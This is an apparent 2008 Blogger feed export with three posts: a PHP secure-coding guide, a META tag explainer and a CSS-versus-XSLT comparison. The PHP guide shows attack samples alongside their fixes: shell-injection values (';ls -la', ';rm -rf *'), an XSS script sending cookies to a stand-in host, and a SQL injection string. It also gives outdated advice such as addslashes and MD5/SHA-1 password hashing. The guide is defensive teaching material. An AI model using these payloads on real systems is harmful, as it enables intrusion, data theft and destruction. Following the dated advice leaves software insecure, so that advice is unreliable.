rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-2077070300901353232</id><published>2008-07-04T10:00:00.000-07:00</published><updated>2008-07-04T10:16:28.249-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Top 7 PHP Security Blunders</title><content type='html'>PHP is a terrific language for the rapid development of dynamic Websites. It also has many features that are friendly to beginning programmers, such as the fact that it doesn't require variable declarations. However, many of these features can lead a programmer inadvertently to allow security holes to creep into a Web application. The popular security mailing lists teem with notes of flaws identified in PHP applications, but PHP can be as secure as any other language once you understand the basic types of flaws PHP applications tend to exhibit.&lt;br /&gt;&lt;br /&gt;In this article, I'll detail many of the common PHP programming mistakes that can result in security holes. By showing you what not to do, and how each particular flaw can be exploited, I hope that you'll understand not just how to avoid these particular mistakes, but also why they result in security vulnerabilities. Understanding each possible flaw will help you avoid making the same mistakes in your PHP applications.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;PHP is a terrific language for the rapid development of dynamic Websites. It also has many features that are friendly to beginning programmers, such as the fact that it doesn't require variable declarations. However, many of these features can lead a programmer inadvertently to allow security holes to creep into a Web application. The popular security mailing lists teem with notes of flaws identified in PHP applications, but PHP can be as secure as any other language once you understand the basic types of flaws PHP applications tend to exhibit.&lt;br /&gt;&lt;br /&gt;In this article, I'll detail many of the common PHP programming mistakes that can result in security holes. By showing you what not to do, and how each particular flaw can be exploited, I hope that you'll understand not just how to avoid these particular mistakes, but also why they result in security vulnerabilities. Understanding each possible flaw will help you avoid making the same mistakes in your PHP applications.&lt;br /&gt;&lt;br /&gt;Security is a process, not a product, and adopting a sound approach to security during the process of application development will allow you to produce tighter, more robust code.&lt;br /&gt;Unvalidated Input Errors&lt;br /&gt;&lt;br /&gt;One of -- if not the -- most common PHP security flaws is the unvalidated input error. User-provided data simply cannot be trusted. You should assume every one of your Web application users is malicious, since it's certain that some of them will be. Unvalidated or improperly validated input is the root cause of many of the exploits we'll discuss later in this article.&lt;br /&gt;&lt;br /&gt;As an example, you might write the following code to allow a user to view a calendar that displays a specified month by calling the UNIX cal command. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;$month = $_GET['month'];&lt;br /&gt;$year = $_GET['year'];&lt;br /&gt;&lt;br /&gt;exec("cal $month $year", $result);&lt;br /&gt;print "&amp;lt;PRE&amp;gt;";&lt;br /&gt;foreach ($result as $r) { print "$r&lt;BR&gt;"; }&lt;br /&gt;print "&amp;lt;/PRE&amp;gt;";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This code has a gaping security hole, since the $_GET[month] and $_GET[year] variables are not validated in any way. The application works perfectly, as long as the specified month is a number between 1 and 12, and the year is provided as a proper four-digit year. However, a malicious user might append ";ls -la" to the year value and thereby see a listing of your Website's html directory. An extremely malicious user could append ";rm -rf *" to the year value and delete your entire Website!&lt;br /&gt;&lt;br /&gt;The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do not use JavaScript validation for this; such validation methods are easily worked around by an exploiter who creates their own form or disables javascript. You need to add PHP code to ensure that the month and year inputs are digits and only digits, as shown below.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;$month = $_GET['month'];&lt;br /&gt;$year = $_GET['year'];&lt;br /&gt;&lt;br /&gt;if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Bad month, please re-enter.");&lt;br /&gt;if (!preg_match("/^[0-9]{4}$/", $year)) die("Bad year, please re-enter.");&lt;br /&gt;&lt;br /&gt;exec("cal $month $year", $result);&lt;br /&gt;print "&amp;lt;PRE&amp;gt;";&lt;br /&gt;foreach ($result as $r) { print "$r&lt;BR&gt;"; }&lt;br /&gt;print "&amp;lt;/PRE&amp;gt;";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This code can safely be used without concern that a user could provide input that would compromise your application, or the server running it. Regular expressions are a great tool for input validation. They can be difficult to grasp, but are extremely useful in this type of situation.&lt;br /&gt;&lt;br /&gt;You should always validate your user-provided data by rejecting anything other than the expected data. Never use the approach that you'll accept anything except data you know to be harmful -- this is a common source of security flaws. Sometimes, malicious users can get around this methodology, for example, by including bad input but obscuring it with null characters. Such input would pass your checks, but could still have a harmful effect.&lt;br /&gt;&lt;br /&gt;You should be as restrictive as possible when you validate any input. If some characters don't need to be included, you should probably either strip them out, or reject the input completely.&lt;br /&gt;Access Control Flaws&lt;br /&gt;&lt;br /&gt;Another type of flaw that's not necessarily restricted to PHP applications, but is important nonetheless, is the access control type of vulnerability. This flaw rears its head when you have certain sections of your application that must be restricted to certain users, such as an administration page that allows configuration settings to be changed, or displays sensitive information.&lt;br /&gt;&lt;br /&gt;You should check the user's access privileges upon every load of a restricted page of your PHP application. If you check the user's credentials on the index page only, a malicious user could directly enter a URL to a "deeper" page, which would bypass this credential checking process.&lt;br /&gt;&lt;br /&gt;It's also advisable to layer your security, for example, by restricting user access on the basis of the user's IP address as well as their user name, if you have the luxury of writing an application for users that will have predictable or fixed IPs. Placing your restricted pages in a separate directory that's protected by an apache .htaccess file is also good practice.&lt;br /&gt;&lt;br /&gt;Place configuration files outside your Web-accessible directory. A configuration file can contain database passwords and other information that could be used by malicious users to penetrate or deface your site; never allow these files to be accessed by remote users. Use the PHP include function to include these files from a directory that's not Web-accessible, possibly including an .htaccess file containing "deny from all" just in case the directory is ever made Web-accessible by adiminstrator error. Though this is redundant, layering security is a positive thing.&lt;br /&gt;&lt;br /&gt;For my PHP applications, I prefer a directory structure based on the sample below. All function libraries, classes and configuration files are stored in the includes directory. Always name these include files with a .php extension, so that even if all your protection is bypassed, the Web server will parse the PHP code, and will not display it to the user. The www and admin directories are the only directories whose files can be accessed directly by a URL; the admin directory is protected by an .htaccess file that allows users entry only if they know a user name and password that's stored in the .htpasswd file in the root directory of the site.&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;/home&lt;br /&gt; /httpd&lt;br /&gt;   /www.example.com&lt;br /&gt;     .htpasswd&lt;br /&gt;     /includes&lt;br /&gt;       cart.class.php&lt;br /&gt;       config.php&lt;br /&gt;     /logs&lt;br /&gt;       access_log&lt;br /&gt;       error_log&lt;br /&gt;     /www&lt;br /&gt;       index.php&lt;br /&gt;       /admin&lt;br /&gt;         .htaccess&lt;br /&gt;         index.php&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You should set your Apache directory indexes to 'index.php', and keep an index.php file in every directory. Set it to redirect to your main page if the directory should not be browsable, such as an images directory or similar.&lt;br /&gt;&lt;br /&gt;Never, ever, make a backup of a php file in your Web-exposed directory by adding .bak or another extension to the filename. Depending on the Web server you use (Apache thankfully appears to have safeguards for this), the PHP code in the file will not be parsed by the Web server, and may be output as source to a user who stumbles upon a URL to the backup file. If that file contained passwords or other sensitive information, that information would be readable -- it could even end up being indexed by Google if the spider stumbled upon it! Renaming files to have a .bak.php extension is safer than tacking a .bak onto the .php extension, but the best solution is to use a source code version control system like CVS. CVS can be complicated to learn, but the time you spend will pay off in many ways. The system saves every version of each file in your project, which can be invaluable when changes are made that cause problems later.&lt;br /&gt;Session ID Protection&lt;br /&gt;&lt;br /&gt;Session ID hijacking can be a problem with PHP Websites. The PHP session tracking component uses a unique ID for each user's session, but if this ID is known to another user, that person can hijack the user's session and see information that should be confidential. Session ID hijacking cannot completely be prevented; you should know the risks so you can mitigate them.&lt;br /&gt;&lt;br /&gt;For instance, even after a user has been validated and assigned a session ID, you should revalidate that user when he or she performs any highly sensitive actions, such as resetting passwords. Never allow a session-validated user to enter a new password without also entering their old password, for example. You should also avoid displaying truly sensitive data, such as credit card numbers, to a user who has only been validated by session ID.&lt;br /&gt;&lt;br /&gt;A user who creates a new session by logging in should be assigned a fresh session ID using the session_regenerate_id function. A hijacking user will try to set his session ID prior to login; this can be prevented if you regenerate the ID at login.&lt;br /&gt;&lt;br /&gt;If your site is handling critical information such as credit card numbers, always use an SSL secured connection. This will help reduce session hijacking vulnerabilities since the session ID cannot be sniffed and easily hijacked.&lt;br /&gt;&lt;br /&gt;If your site is run on a shared Web server, be aware that any session variables can easily be viewed by any other users on the same server. Mitigate this vulnerability by storing all sensitive data in a database record that's keyed to the session ID rather than as a session variable. If you must store a password in a session variable (and I stress again that it's best just to avoid this), do not store the password in clear text; use the sha1() (PHP 4.3+) or md5() function to store the hash of the password instead.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;if ($_SESSION['password'] == $userpass) {&lt;br /&gt; // do sensitive things here&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The above code is not secure, since the password is stored in plain text in a session variable. Instead, use code more like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;if ($_SESSION['sha1password'] == sha1($userpass)) {&lt;br /&gt; // do sensitive things here&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The SHA-1 algorithm is not without its flaws, and further advances in computing power are making it possible to generate what are known as collisions (different strings with the same SHA-1 sum). Yet the above technique is still vastly superior to storing passwords in clear text. Use MD5 if you must -- since it's superior to a clear text-saved password -- but keep in mind that recent developments have made it possible to generate MD5 collisions in less than an hour on standard PC hardware. Ideally, one should use a function that implements SHA-256; such a function does not currently ship with PHP and must be found separately.&lt;br /&gt;&lt;br /&gt;For further reading on hash collisions, among other security related topics, Bruce Schneier's Website is a great resource.&lt;br /&gt;Cross Site Scripting (XSS) Flaws&lt;br /&gt;&lt;br /&gt;Cross site scripting, or XSS, flaws are a subset of user validation where a malicious user embeds scripting commands -- usually JavaScript -- in data that is displayed and therefore executed by another user.&lt;br /&gt;&lt;br /&gt;For example, if your application included a forum in which people could post messages to be read by other users, a malicious user could embed a &amp;lt;script&amp;gt; tag, shown below, which would reload the page to a site controlled by them, pass your cookie and session information as GET variables to their page, then reload your page as though nothing had happened. The malicious user could thereby collect other users' cookie and session information, and use this data in a session hijacking or other attack on your site.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&amp;lt;script&amp;gt;&lt;br /&gt;document.location =&lt;br /&gt;   'http://www.badguys.com/cgi-bin/cookie.php?' +&lt;br /&gt;   document.cookie;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To prevent this type of attack, you need to be careful about displaying user-submitted content verbatim on a Web page. The easiest way to protect against this is simply to escape the characters that make up HTML syntax (in particular, &lt; and &gt;) to HTML character entities (&amp;lt; and &amp;gt;), so that the submitted data is treated as plain text for display purposes. Just pass the data through PHP's htmlspecialchars function as you are producing the output.&lt;br /&gt;&lt;br /&gt;If your application requires that your users be able to submit HTML content and have it treated as such, you will instead need to filter out potentially harmful tags like &amp;lt;script&amp;gt;. This is best done when the content is first submitted, and will require a bit of regular expressions know-how.&lt;br /&gt;&lt;br /&gt;The Cross Site Scripting FAQ at cgisecurity.com provides much more information and background on this type of flaw, and explains it well. I highly recommend reading and understanding it. XSS flaws can be difficult to spot and are one of the easier mistakes to make when programming a PHP application, as illustrated by the high number of XSS advisories issued on the popular security mailing lists.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;SQL Injection Vulnerabilities&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;SQL injection vulnerabilities are yet another class of input validation flaws. Specifically, they allow for the exploitation of a database query. For example, in your PHP script, you might ask the user for a user ID and password, then check for the user by passing the database a query and checking the result.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;SELECT * FROM users WHERE name='$username' AND pass='$password';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;However, if the user who's logging in is devious, he may enter the following as his password:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;' OR '1'='1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This results in the query being sent to the database as:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;SELECT * FROM users WHERE name='known_user' AND pass='' OR '1'='1';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This will return the username without validating the password -- the malicious user has gained entry to your application as a user of his choice. To alleviate this problem, you need to escape dangerous characters from the user-submitted values, most particularly the single quotes ('). The simplest way to do this is to use PHP's addslashes() function.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;$username = addslashes($_POST["username"]);&lt;br /&gt;$password = addslashes($_POST["password"]);&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;But depending on your PHP configuration, this may not be necessary! PHP's much-reviled magic quotes feature is enabled by default in current versions of PHP. This feature, which can be disabled by setting the magic_quotes_gpc php.ini variable to Off, will automatically apply addslashes to all values submitted via GET, POST or cookies. This feature safeguards against inexperienced developers who might otherwise leave security holes like the one described above, but it has an unfortunate impact on performance when input values do not need to be escaped for use in database queries. Thus, most experienced developers elect to switch this feature off.&lt;br /&gt;&lt;br /&gt;If you're developing software that may be installed on shared servers where you might not be able to change the php.ini file, use code to check that status of magic_quotes_gpc and, if it is turned on, pass all input values through PHP's stripslashes() function. You can then apply addslashes() to any values destined for use in database queries as you would normally.&lt;br /&gt;&lt;br /&gt;if (get_magic_quotes_gpc()){&lt;br /&gt; $_GET = array_map('stripslashes', $_GET);&lt;br /&gt; $_POST = array_map('stripslashes', $_POST);&lt;br /&gt; $_COOKIE = array_map('stripslashes', $_COOKIE);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;SQL injection flaws do not always lead to privilege escalation. For instance, they can allow a malicious user to output selected database records if the result of the query is printed to your HTML output.&lt;br /&gt;&lt;br /&gt;You should always check user-provided data that will be used in a query for the characters '",;() and, possibly, for the keywords "FROM", "LIKE", and "WHERE" in a case-insensitive fashion. These are the characters and keywords that are useful in a SQL insertion attack, so if you strip them from user inputs in which they're unnecessary, you'll have much less to worry about from this type of flaw.&lt;br /&gt;Error Reporting&lt;br /&gt;&lt;br /&gt;You should ensure that your display_errors php.ini value is set to "0". Otherwise, any errors that are encountered in your code, such as database connection errors, will be output to the end user's browser. A malicious user could leverage this flaw to gain information about the internal workings of your application, simply by providing bad input and reading the error messages that result.&lt;br /&gt;&lt;br /&gt;The display_errors value can be set at runtime using the ini_set function, but this is not as desirable as setting it in the ini file, since a fatal compilation error of your script will still be displayed: if the script has a fatal error and cannot run, the ini_set function is not run.&lt;br /&gt;&lt;br /&gt;Instead of displaying errors, set the error_log ini variable to "1" and check your PHP error log frequently for caught errors. Alternatively, you can develop your own error handling functions that are automatically invoked when PHP encounters an error, and can email you or execute other PHP code of your choice. This is a wise precaution to take, as you will be notified of an error and have it fixed possibly before malicious users even know the problem exists. Read the PHP manual pages on error handling and learn about the set_error_handler() function.&lt;br /&gt;Data Handling Errors&lt;br /&gt;&lt;br /&gt;Data handling errors aren't specific to PHP per se, but PHP application developers still need to be aware of them. This class of error arises when data is handled in an insecure manner, which makes it available to possible interception or modification by malicious parties.&lt;br /&gt;&lt;br /&gt;The most common type of data handling error is in the unencrypted HTTP transmission of sensitive data that should be transmitted via HTTPS. Credit card numbers and customer information are the most common types of secured data, but if you transmit usernames and passwords over a regular HTTP connection, and those usernames and passwords allow access to sensitive material, you might as well transmit the sensitive material itself over an unencrypted connection. Use SSL security whenever you transmit sensitive data from your application to a user's browser. Otherwise, a malicious eavesdropper on any router between your server and the end user can very easily sniff the sensitive information out of the network packets.&lt;br /&gt;&lt;br /&gt;The same type of risk can occur when applications are updated using FTP, which is an insecure protocol. Transferring a PHP file that contains database passwords to your remote Webserver over an insecure protocol like FTP can allow an eavesdropper to sniff the packets and reveal your password. Always use a secure protocol like SFTP or SCP to transmit sensitive files. Never allow sensitive information to be sent by your application via email, either. An email message is readable by anyone who's capable of reading the network traffic. A good rule of thumb is that if you wouldn't write the information on the back of a postcard and put it through the mail, you shouldn't send it via email, either. The chance anyone will actually intercept the message may be low, but why risk it?&lt;br /&gt;&lt;br /&gt;It's important to minimize your exposure to data handling flaws. For example, if your application is an online store, is it necessary to save the credit card numbers attached to orders that are more than six months old? Archive the data and store it offline, limiting the amount of data that can be compromised if your Webserver is breached. It's basic security practice not only to attempt to prevent an intrusion or compromise, but also to mitigate the negative effects of a successful compromise. No security system is ever perfect, so don't assume that yours is. Take steps to minimize the fallout if you do suffer a penetration.&lt;br /&gt;Configuring PHP For Security&lt;br /&gt;&lt;br /&gt;Generally, most new PHP installations that use recent PHP releases are configured with much stronger security defaults than was standard in past PHP releases. However, your application may be installed on a legacy server that has had its version of PHP upgraded, but not the php.ini file. In this case, the default settings may not be as secure as the default settings on a fresh install.&lt;br /&gt;&lt;br /&gt;You should create a page that calls the phpinfo() function to list your php.ini variables and scan them for insecure settings. Keep this page in a restricted place and do not allow public access to it. The output of phpinfo() contains information that a potential hacker might find extremely useful.&lt;br /&gt;&lt;br /&gt;Some settings to consider when configuring PHP for security include:&lt;br /&gt;&lt;br /&gt;   1. register_globals: The boogeyman of PHP security is register_globals, which used to default to "on" in older releases of PHP but has since been changed to default to "off". It exports all user input as global variables. Check this setting and disable it -- no buts, no exceptions. Just do it! This setting is possibly responsible for more PHP security flaws than any other single cause. If you're on a shared host, and they won't let you disable register_globals, get a new host!&lt;br /&gt;&lt;br /&gt;   2. safe_mode: The safe mode setting can be very useful to prevent unauthorized access to local system files. It works by only allowing the reading of files that are owned by the user account that owns the executing PHP script. If your application opens local files often, consider enabling this setting.&lt;br /&gt;&lt;br /&gt;   3. disable_functions: This setting can only be set in your php.ini file, not at runtime. It can be set to a list of functions that you would like disabled in your PHP installation. It can help prevent the possible execution of harmful PHP code. Some functions that are useful to disable if you do not use them are system and exec, which allow the execution of external programs.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-2077070300901353232?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/2077070300901353232/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=2077070300901353232' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2077070300901353232'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2077070300901353232'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/top-7-php-security-blunders.html' title='Top 7 PHP Security Blunders'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-6906271321001578287</id><published>2008-07-03T16:26:00.000-07:00</published><updated>2008-07-03T16:33:58.957-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='html'/><title type='text'>What are Meta Tags and how they work ?</title><content type='html'>The main purpose of HTML is to enable web authors to specify structural information about their pages - for example tables, paragraphs, images and so on. However, it also provides a way of adding information about the page and its content. Such information is known as metadata, and is added through the use of the &amp;lt;META&amp;gt; tag.&lt;br /&gt;&lt;br /&gt;The tag can also be used to create the equivalent of HTTP (HyperText Transfer Protocol) headers, which can provide instructions to the browser.&lt;br /&gt;&lt;span class="fullpost"&gt;Introduction&lt;br /&gt;&lt;br /&gt;The main purpose of HTML is to enable web authors to specify structural information about their pages - for example tables, paragraphs, images and so on. However, it also provides a way of adding information about the page and its content. Such information is known as metadata, and is added through the use of the &amp;lt;META&amp;gt; tag.&lt;br /&gt;&lt;br /&gt;The tag can also be used to create the equivalent of HTTP (HyperText Transfer Protocol) headers, which can provide instructions to the browser.&lt;br /&gt;&lt;br /&gt;This article will describe the most common uses of the META tag. It is not intended to be a definitive list; new metadata is being created and used all the time, for various purposes. If you are interested in metadata, you may be interested to read Janus Boye's article RDF - What's in it for us?.&lt;br /&gt;Using the META tag to provide information&lt;br /&gt;&lt;br /&gt;All META tags should be placed within the HEAD section of your web pages. When using META to provide information about your page, the general syntax is as follows:&lt;br /&gt;&lt;br /&gt;&amp;lt;META NAME="dataname" CONTENT="datavalue"&amp;gt;&lt;br /&gt;&lt;br /&gt;In the above line, dataname is a specific identifier for the information you are providing. The browser (or other program) looks at this name and then decides how to treat the data. The information itself is represented by datavalue. In this section we'll be looking at the most common types of metadata and how they are typically used.&lt;br /&gt;Description&lt;br /&gt;&lt;br /&gt;This is simply a basic description of the page's content, in a few sentences. Search engines often use it to display a brief page summary in the search results. An example might be:&lt;br /&gt;&lt;br /&gt;&amp;lt;META NAME="description" CONTENT="An article about metadata and the META tag."&amp;gt;&lt;br /&gt;&lt;br /&gt;Author&lt;br /&gt;&lt;br /&gt;Another self-explanatory one; this is usually used to display the name of the person who wrote the page's content (or, in some cases, the designer of the page, if this is different).&lt;br /&gt;&lt;br /&gt;&amp;lt;META NAME="author" CONTENT="Michael Bednarek"&amp;gt;&lt;br /&gt;&lt;br /&gt;Keywords&lt;br /&gt;&lt;br /&gt;This is the metadata that everyone is talking about, although in reality its effectiveness is overhyped. The Keywords item allows you to specify a number of themed words and phrases which may be associated with that web page in some particular way. For example, some keywords associated with this article might be: metadata, META tag, search engines, HTTP, HTML, etc. etc.&lt;br /&gt;&lt;br /&gt;When you search for something in a search engine, you generally type in a few words (or perhaps a phrase) related to what you are looking for. The engine then matches up the keywords you have entered with the pages stored in its database. This is why people have been going nuts over the META keywords tag; they think that if you don't have it on each page, and don't have an extensive list of words, then you won't get very good search engine results.&lt;br /&gt;&lt;br /&gt;In fact, only three of the major search engines (AltaVista,InfoSeek, HotBot) give any importance to META tags - the others base their results upon a page's actual content. However, it is still worth adding META keywords to your pages if you want good results in those engines. Words and phrases are treated differently - so for example, you would need to include the phrase "web authoring" as well as the two individual words "web" and "authoring" for best results. Here's an example tag:&lt;br /&gt;&lt;br /&gt;&amp;lt;META NAME="keywords" CONTENT="metadata, META tag, meta, keywords, search engines"&amp;gt;&lt;br /&gt;&lt;br /&gt;Robots&lt;br /&gt;&lt;br /&gt;Finally, there is the Robots item. This is also related to search engines, in a way. A robot is a program which will visit a web page, index it somewhere, and then visit all the hyperlinks in that page, indexing them all. It may continue in this fashion indefinitely, or it may stop after it has reached a certain level. Search engines often send a robot round to your site, in order to add all its pages to their database.&lt;br /&gt;&lt;br /&gt;Sometimes you may not want certain pages on your site to appear in a search engine. These might be pages containing sensitive information, or those which should not be viewed outside of a frameset. You can use the META tag to provide instructions to robots visiting a page - you can tell them not to index the page, or not to follow any of the links on it, or both.&lt;br /&gt;&lt;br /&gt;Here are examples of some of the combinations you can use:&lt;br /&gt;&lt;br /&gt;&amp;lt;META NAME="robots" CONTENT="NOINDEX,NOFOLLOW"&amp;gt;&lt;br /&gt;&amp;lt;META NAME="robots" CONTENT="NOINDEX,FOLLOW"&amp;gt;&lt;br /&gt;&amp;lt;META NAME="robots" CONTENT="INDEX,NOFOLLOW"&amp;gt;&lt;br /&gt;&amp;lt;META NAME="robots" CONTENT="INDEX,FOLLOW"&amp;gt;&lt;br /&gt;&lt;br /&gt;The last line in this list is in fact the default setting, so you wouldn't ever need to use it in practice.&lt;br /&gt;Using the META tag to control the browser&lt;br /&gt;&lt;br /&gt;As I mentioned in the introduction to this article, the META tag can also be used to generate the equivalent of HTTP headers. In practice, this means you can control the behaviour of the user's browser.&lt;br /&gt;Preventing a page from being cached&lt;br /&gt;&lt;br /&gt;There may be occasions when you would want to prevent a page from being cached locally on the user's computer, and thus force the browser to load a fresh copy each time. One example of this might be a webcam which is automatically updated every few seconds - if the user visited at a later date, the browser might show them the cached (and therefore outdated) version.&lt;br /&gt;&lt;br /&gt;There are in fact three META tag variates which you should use to cause this behaviour. This is because they are accepted in different browsers. The first, Expires, is actually supposed to specify an expiry date for the web page. However, if you leave the value as 0, then it treats it as "now", and therefore asks for a new version of the page every time. The other two, Pragma and Cache Control, are specifically designed to prevent (or control) caching, and should take a value of "no-cache". So, to prevent your page being cached in most browsers, you should use the following lines:&lt;br /&gt;&lt;br /&gt;&amp;lt;META HTTP-EQUIV="Expires" CONTENT="0"&amp;gt;&lt;br /&gt;&amp;lt;META HTTP-EQUIV="Pragma" CONTENT="no-cache"&amp;gt;&lt;br /&gt;&amp;lt;META HTTP-EQUIV="Cache-Control" CONTENT="no-cache"&amp;gt;&lt;br /&gt;&lt;br /&gt;Incidentally, if you wish for your page to expire at a later date, you can specify the date in the following format (using GMT time):&lt;br /&gt;&lt;br /&gt;&amp;lt;META HTTP-EQUIV="Expires" CONTENT="Thu, 03 Aug 1999 09:30:00 GMT"&amp;gt;&lt;br /&gt;&lt;br /&gt;Redirecting the browser to another URL&lt;br /&gt;&lt;br /&gt;With web hosting services becoming cheaper and cheaper, many people decide to change the location of their web sites from free ISP space to professional server space. This relocation obviously causes confusion, because visitors to the site will still try to use the old URL. What many people do is keep one page at the old address which, when visited, will automatically send the user on to the site's new home. This can be easily achieved using the META tag, which will redirect the user either instantly or after a given time delay.&lt;br /&gt;&lt;br /&gt;For example, the line below will redirect the visitor to irt.org after ten seconds, giving them enough time to read about what's going on:&lt;br /&gt;&lt;br /&gt;&amp;lt;META HTTP-EQUIV="Refresh" CONTENT="10;URL=http://www.irt.org"&amp;gt;&lt;br /&gt;&lt;br /&gt;Conclusion&lt;br /&gt;&lt;br /&gt;META tags can be very useful additions to your web pages, especially if you would like more control over how the search engines treat your site. Although the keywords and description tags are the most well known, the other forms of metadata can also prove to be helpful.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-6906271321001578287?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/6906271321001578287/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=6906271321001578287' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6906271321001578287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6906271321001578287'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/what-are-meta-tags-and-how-they-work.html' title='What are Meta Tags and how they work ?'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-2098690159397090823</id><published>2008-07-03T15:54:00.000-07:00</published><updated>2008-07-04T09:28:42.727-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xslt'/><category scheme='http://www.blogger.com/atom/ns#' term='css'/><title type='text'>The Difference Between CSS and XSLT</title><content type='html'>Cascading Style Sheets or CSS were developed a few years ago to define the look and feel of markup languages. Extensible Style Sheet Language for Transformations or XSLT were created to transform documents. They are both style sheets, but they serve vastly different purposes.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Cascading Style Sheets or CSS were developed a few years ago to define the look and feel of markup languages. Extensible Style Sheet Language for Transformations or XSLT were created to transform documents. They are both style sheets, but they serve vastly different purposes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What CSS Can Do&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    * Modify the font size, color, family, and style of text in markup&lt;br /&gt;    * Define the location and size of an element&lt;br /&gt;    * Change the background image and color of elements&lt;br /&gt;    * Create a new look and feel for markup pages to display on the Web&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What CSS Cannot Do&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    * Change the order of elements in a document&lt;br /&gt;    * Make computations based on the content of the document&lt;br /&gt;    * Add content to the document&lt;br /&gt;    * Combine multiple documents into one&lt;br /&gt;&lt;br /&gt;XSLT is a powerful language for transforming documents. It was created to allow developers the ability to create data and then transform it to various different formats. It is meant to keep the distinction between content and design separate.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What XSLT Can Do&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    * convert data in a standard XML format to SQL statements, tab-delimited text files, or other database formats for data sharing&lt;br /&gt;    * transform XSLT style sheets into new style sheets&lt;br /&gt;    * turn Web pages (written in XHTML) to VoiceML or XHTML Basic for handheld devices&lt;br /&gt;    * add CSS style sheets to XML documents for view in a browser&lt;br /&gt;&lt;br /&gt;If all you're looking for is a style sheet to manipulate the way your content looks in a document, then you should use CSS. But if you're looking to actually transform one document into another, then XSLT is your tool.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-2098690159397090823?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/2098690159397090823/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=2098690159397090823' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2098690159397090823'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2098690159397090823'/><link rel='alternate' type='text/html' 